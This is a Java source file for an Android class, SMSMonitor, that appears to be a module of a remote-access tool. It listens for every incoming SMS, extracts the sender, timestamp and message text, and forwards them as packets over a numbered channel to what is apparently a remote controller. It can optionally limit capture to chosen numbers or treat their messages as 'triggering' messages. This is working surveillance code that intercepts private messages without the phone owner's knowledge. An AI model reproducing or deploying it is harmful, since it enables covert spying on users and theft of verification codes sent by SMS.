SMSMonitor.java

package my.app.Library;

import java.util.ArrayList;
import java.util.HashSet;

import utils.EncoderHelper;
import my.app.activityclient.ClientListener;
import Packet.SMSPacket;
import Packet.ShortSMSPacket;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSMonitor {

	ClientListener ctx;
	HashSet<String> phoneNumberFilter;
	int channel;
	
	public SMSMonitor(ClientListener c, int chan, byte[] args) {
		this.ctx = c;
		this.channel = chan;
		phoneNumberFilter = EncoderHelper.decodeHashSet(args);
        IntentFilter filter = new IntentFilter();
        filter.addAction("android.provider.Telephony.SMS_RECEIVED"); //On enregistre un broadcast receiver sur la reception de SMS
        ctx.registerReceiver(SMSreceiver, filter);
	}
	
	public void stop() {
		ctx.unregisterReceiver(SMSreceiver);
	}
	
	protected BroadcastReceiver SMSreceiver = new BroadcastReceiver() {
	 	
	 	private final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
	 
        @Override
        public void onReceive(Context context, Intent intent) {

		 	if(intent.getAction().equals(SMS_RECEIVED)) { //On vérifie que c'est bien un event de SMS_RECEIVED même si c'est obligatoirement le cas.
		 		Log.i("SMSReceived", "onReceive sms !");
		 		
				Bundle bundle = intent.getExtras();
				if (bundle != null) {
					Object[] pdus = (Object[]) bundle.get("pdus");
					 
					final SmsMessage[] messages = new SmsMessage[pdus.length];
					for (int i = 0; i < pdus.length; i++)  {
						 messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
					}
					if (messages.length > -1) {
						
						 String messageBody = messages[0].getMessageBody();
						 String phoneNumber = messages[0].getDisplayOriginatingAddress();
						 long date = messages[0].getTimestampMillis();
						 
						 if(phoneNumberFilter == null) {
							 	ShortSMSPacket sms = new ShortSMSPacket(phoneNumber, date, messageBody);
								ctx.handleData(channel, sms.build());
						 }
						 else {
							 if (phoneNumberFilter.contains(phoneNumber)) {
								 Log.i("SMSReceived", "Message accepted as triggering message !");
								 ShortSMSPacket sms = new ShortSMSPacket(phoneNumber, date, messageBody);
								 ctx.handleData(channel, sms.build());
							 }
						 }
					}
				}
		 	}
        }
 };
	
	
}